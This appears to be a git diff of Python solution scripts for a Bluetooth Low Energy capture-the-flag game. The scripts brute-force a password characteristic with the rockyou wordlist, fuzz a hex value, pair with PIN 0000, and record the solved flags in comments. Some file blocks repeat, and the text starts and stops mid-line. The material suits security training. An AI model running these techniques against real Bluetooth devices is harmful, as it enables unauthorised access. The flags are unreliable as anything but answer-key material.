binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/lvl_03.py b/lvl_03.py new file mode 100755 index 0000000..bc95b86 --- /dev/null +++ b/lvl_03.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function # import print from python3: end="" +import time +import re +import pexpect # sudo apt-get install python-pexpect +import subprocess +import random +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +Service +42 0x2A READ Connect with pin 0000. Try using bluetoothctl + +b46fa238cf820d0f60c1 +''' + +# !!! make sure bluetoothd runs in --compat mode before executing this script !!! +def pair_with_pin(start_time, pin, time_limit=60): # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions) + "exectutes pairing with entered PIN on bluetooth adapter side" + try: + + newpid = os.fork() + if newpid == 0: + ''' + Start bluepy stuff + ''' + subprocess.call(['hciconfig','hci0','down']) + subprocess.call(['hciconfig','hci0','up']) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb") + print ("Attached to peripheral") + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + print("Flag: "+hexlif2) + p.disconnect() + exit() + else: + ''' + Start actual pair stuff + ''' + subprocess.call(['hciconfig','hci0','sspmode', '0']) + + # bluetoothctl + child = pexpect.spawn('bluetoothctl') + child.logfile = open("/tmp/mylog", "w") + child.expect("#") + child.sendline('agent off') # might be unnecessary + #child.sendline('scan on') # might be unnecessary + child.expect("unregistered") + + child.sendline('agent KeyboardDisplay ') + child.expect("Agent registered") + child.sendline('pairable on') + child.expect("pairable on succeeded") + child.sendline('discoverable on') + child.expect("discoverable on succeeded") + child.sendline('default-agent') + child.sendline('remove 3c:71:bf:f1:ef:c6') + child.sendline('pair 3c:71:bf:f1:ef:c6') + + child.expect('Request passkey', timeout = time_limit ) # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic + print ('Sending PIN: ' + pin) + child.sendline(pin) + i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit) + if i == 0: # found 'Paired: yes' == successful pairing + trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0) # extract MAC from last line, one with 'Paired: Yes' + child.sendline(trust_mac) # optionally add device to trusted + child.expect('trust succeeded', timeout = 10) + pairing_status = True + else: # i == 1 + print('wrong PIN, retrying if time will allow') + except pexpect.EOF: + print ('!!!!!!!! EOF') + except pexpect.TIMEOUT: + print ('!!!!!!!! TIMEOUT') + + # hide Pi's bluetooth for security reasons + child.sendline('pairable off') + child.expect("pairable off succeeded") + child.sendline('discoverable off') + child.expect("discoverable off succeeded") + child.close() + + return pairing_status + +#main program body +PAIRING_TIME_LIMIT = 60 +BT_PIN = "0000" # random.randint(1000,10000) # generate random 4-digit PIN 1000..9999 + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,3))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +p.disconnect() + +status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT) +if status == True: + print('Pairing successful') \ No newline at end of file diff --git a/lvl_04.py b/lvl_04.py new file mode 100755 index 0000000..21ede3e --- /dev/null +++ b/lvl_04.py @@ -0,0 +1,104 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import itertools + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard + +Flag: f401f21d02fdd0a4fc00 +''' + +notificationData = "" + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, hndl): + btle.DefaultDelegate.__init__(self) + self.hndl=hndl; + + def handleNotification(self, cHandle, data): + global notificationData + notificationData = data + #print("d: "+data) + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) + +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,4))) +p.writeCharacteristic(0x30, hex1, withResponse=False) +p.disconnect() + +''' +# of course not, this brute-force would make sense! +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(4,5)) +''' + +''' +# not this! +print("Generating wordlist") +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(12,13)) +''' + +print("Generating wordlist") +generator = list() +charset = list("0123456789ABCDEF") +origPass = list("AABBCCDDEEFF") +for x in range(len(origPass)): + newPass = list("AABBCCDDEEFF") + for y in range(len(charset)): + newPass = list("AABBCCDDEEFF") + newPass[x] = charset[y] + generator.append("".join(newPass)) + +for password in generator: + hexlif2 = binascii.unhexlify(password) + hexlif2 = str(hexlif2) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + + try: + srvs = (p.getServices()); + chs=srvs[2].getCharacteristics(); + ch=chs[1]; + cccd = ch.valHandle + 1 + #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY + + p.setDelegate(MyDelegate(ch.getHandle())); + svc=p.getServiceByUUID(0x00FF) + p.writeCharacteristic(cccd, b"\x01\x00"); + + sys.stdout.write("\rTrying: %s" % password.rstrip()) + response = p.writeCharacteristic(0x2C, hexlif2) + + gotResponse = False + while gotResponse == False: + if p.waitForNotifications(1.0): + rsp = notificationData + hex = binascii.b2a_hex(rsp) + hexstr = str(hex).strip("0").upper() + #sys.stdout.write(" Response: " + hexstr) # for debugging + + if(password.strip("0") != hexstr): + print(" Flag: %s" % notificationData.rstrip()) + exit() + else: + gotResponse = True + continue + print "Waiting..." + + finally: + p.disconnect() \ No newline at end of file diff --git a/lvl_05.py b/lvl_05.py new file mode 100755 index 0000000..f98d9b9 --- /dev/null +++ b/lvl_05.py @@ -0,0 +1,38 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ find a valid write value in this pcap to use below +44 0x2C READ WRITE https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap +46 0x2E READ WRITE write here to goto to scoreboard + +84cf61c35b2d9c92217d +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 05") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +print("Sending \"121212121222\" to 0x2c") + +services=p.getServices() + +hexlif2 = binascii.unhexlify("121212121222") +hexlif2 = str(hexlif2) +response = p.writeCharacteristic(0x2C, hexlif2, True) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/lvl_03.py b/lvl_03.py new file mode 100755 index 0000000..bc95b86 --- /dev/null +++ b/lvl_03.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function # import print from python3: end="" +import time +import re +import pexpect # sudo apt-get install python-pexpect +import subprocess +import random +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +Service +42 0x2A READ Connect with pin 0000. Try using bluetoothctl + +b46fa238cf820d0f60c1 +''' + +# !!! make sure bluetoothd runs in --compat mode before executing this script !!! +def pair_with_pin(start_time, pin, time_limit=60): # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions) + "exectutes pairing with entered PIN on bluetooth adapter side" + try: + + newpid = os.fork() + if newpid == 0: + ''' + Start bluepy stuff + ''' + subprocess.call(['hciconfig','hci0','down']) + subprocess.call(['hciconfig','hci0','up']) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb") + print ("Attached to peripheral") + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + print("Flag: "+hexlif2) + p.disconnect() + exit() + else: + ''' + Start actual pair stuff + ''' + subprocess.call(['hciconfig','hci0','sspmode', '0']) + + # bluetoothctl + child = pexpect.spawn('bluetoothctl') + child.logfile = open("/tmp/mylog", "w") + child.expect("#") + child.sendline('agent off') # might be unnecessary + #child.sendline('scan on') # might be unnecessary + child.expect("unregistered") + + child.sendline('agent KeyboardDisplay ') + child.expect("Agent registered") + child.sendline('pairable on') + child.expect("pairable on succeeded") + child.sendline('discoverable on') + child.expect("discoverable on succeeded") + child.sendline('default-agent') + child.sendline('remove 3c:71:bf:f1:ef:c6') + child.sendline('pair 3c:71:bf:f1:ef:c6') + + child.expect('Request passkey', timeout = time_limit ) # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic + print ('Sending PIN: ' + pin) + child.sendline(pin) + i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit) + if i == 0: # found 'Paired: yes' == successful pairing + trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0) # extract MAC from last line, one with 'Paired: Yes' + child.sendline(trust_mac) # optionally add device to trusted + child.expect('trust succeeded', timeout = 10) + pairing_status = True + else: # i == 1 + print('wrong PIN, retrying if time will allow') + except pexpect.EOF: + print ('!!!!!!!! EOF') + except pexpect.TIMEOUT: + print ('!!!!!!!! TIMEOUT') + + # hide Pi's bluetooth for security reasons + child.sendline('pairable off') + child.expect("pairable off succeeded") + child.sendline('discoverable off') + child.expect("discoverable off succeeded") + child.close() + + return pairing_status + +#main program body +PAIRING_TIME_LIMIT = 60 +BT_PIN = "0000" # random.randint(1000,10000) # generate random 4-digit PIN 1000..9999 + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,3))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +p.disconnect() + +status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT) +if status == True: + print('Pairing successful') \ No newline at end of file diff --git a/lvl_04.py b/lvl_04.py new file mode 100755 index 0000000..21ede3e --- /dev/null +++ b/lvl_04.py @@ -0,0 +1,104 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import itertools + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard + +Flag: f401f21d02fdd0a4fc00 +''' + +notificationData = "" + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, hndl): + btle.DefaultDelegate.__init__(self) + self.hndl=hndl; + + def handleNotification(self, cHandle, data): + global notificationData + notificationData = data + #print("d: "+data) + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) + +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,4))) +p.writeCharacteristic(0x30, hex1, withResponse=False) +p.disconnect() + +''' +# of course not, this brute-force would make sense! +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(4,5)) +''' + +''' +# not this! +print("Generating wordlist") +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(12,13)) +''' + +print("Generating wordlist") +generator = list() +charset = list("0123456789ABCDEF") +origPass = list("AABBCCDDEEFF") +for x in range(len(origPass)): + newPass = list("AABBCCDDEEFF") + for y in range(len(charset)): + newPass = list("AABBCCDDEEFF") + newPass[x] = charset[y] + generator.append("".join(newPass)) + +for password in generator: + hexlif2 = binascii.unhexlify(password) + hexlif2 = str(hexlif2) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + + try: + srvs = (p.getServices()); + chs=srvs[2].getCharacteristics(); + ch=chs[1]; + cccd = ch.valHandle + 1 + #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY + + p.setDelegate(MyDelegate(ch.getHandle())); + svc=p.getServiceByUUID(0x00FF) + p.writeCharacteristic(cccd, b"\x01\x00"); + + sys.stdout.write("\rTrying: %s" % password.rstrip()) + response = p.writeCharacteristic(0x2C, hexlif2) + + gotResponse = False + while gotResponse == False: + if p.waitForNotifications(1.0): + rsp = notificationData + hex = binascii.b2a_hex(rsp) + hexstr = str(hex).strip("0").upper() + #sys.stdout.write(" Response: " + hexstr) # for debugging + + if(password.strip("0") != hexstr): + print(" Flag: %s" % notificationData.rstrip()) + exit() + else: + gotResponse = True + continue + print "Waiting..." + + finally: + p.disconnect() \ No newline at end of file diff --git a/lvl_05.py b/lvl_05.py new file mode 100755 index 0000000..f98d9b9 --- /dev/null +++ b/lvl_05.py @@ -0,0 +1,38 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ find a valid write value in this pcap to use below +44 0x2C READ WRITE https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap +46 0x2E READ WRITE write here to goto to scoreboard + +84cf61c35b2d9c92217d +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 05") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +print("Sending \"121212121222\" to 0x2c") + +services=p.getServices() + +hexlif2 = binascii.unhexlify("121212121222") +hexlif2 = str(hexlif2) +response = p.writeCharacteristic(0x2C, hexlif2, True) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_05_solution.png b/lvl_05_solution.png new file mode 100644 index 0000000..310f5c6 --- /dev/null +++ b/lvl_05_solution.png Binary files differ diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % 